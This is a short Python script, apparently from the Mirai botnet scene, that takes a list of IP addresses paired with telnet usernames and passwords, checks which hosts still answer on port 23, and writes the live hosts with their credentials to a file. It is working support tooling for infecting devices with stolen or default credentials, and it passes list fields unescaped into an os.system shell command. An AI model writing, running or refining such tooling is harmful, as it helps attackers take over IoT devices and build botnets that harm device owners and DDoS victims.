Mirai Telnet List Filter/Converter

#!/usr/bin/python
# Mirai Telnet List Filter/Converter
# Dr.L0v3

import sys, re, os, socket, time
#from multiprocessing import Process
from threading import Thread

if len(sys.argv) < 3:
    sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list] [output file]")

info = open(str(sys.argv[1]),'a+')
output_file = sys.argv[2]

def filter(ip,username,password):
    ip = str(ip).rstrip("\n")
    username = username.rstrip("\n")
    password = password.rstrip("\n")
    try:
        tn = socket.socket()
        tn.settimeout(5)
        tn.connect((ip,23))
        print "ONLINE:\033[32m %s\033[37m"%(ip)
        os.system("echo "+ip+":23 "+username+":"+password+" >> "+output_file+"")
        tn.close()
    except Exception:
        print "OFFLINE:\033[31m %s\033[37m"%(ip)
        tn.close()
        pass

for x in info:
    try:
        if ":23 " in x:
            x = x.replace(":23 ", ":")
        shl = x.split(":")
        fill = Thread(target=filter, args=(shl[0].rstrip("\n"),shl[1].rstrip("\n"),shl[2].rstrip("\n"),))
        fill.start()
        ip=shl[0]
        username=shl[1]
        password=shl[2]
        time.sleep(0.005)
    except:
        pass
#fill.join()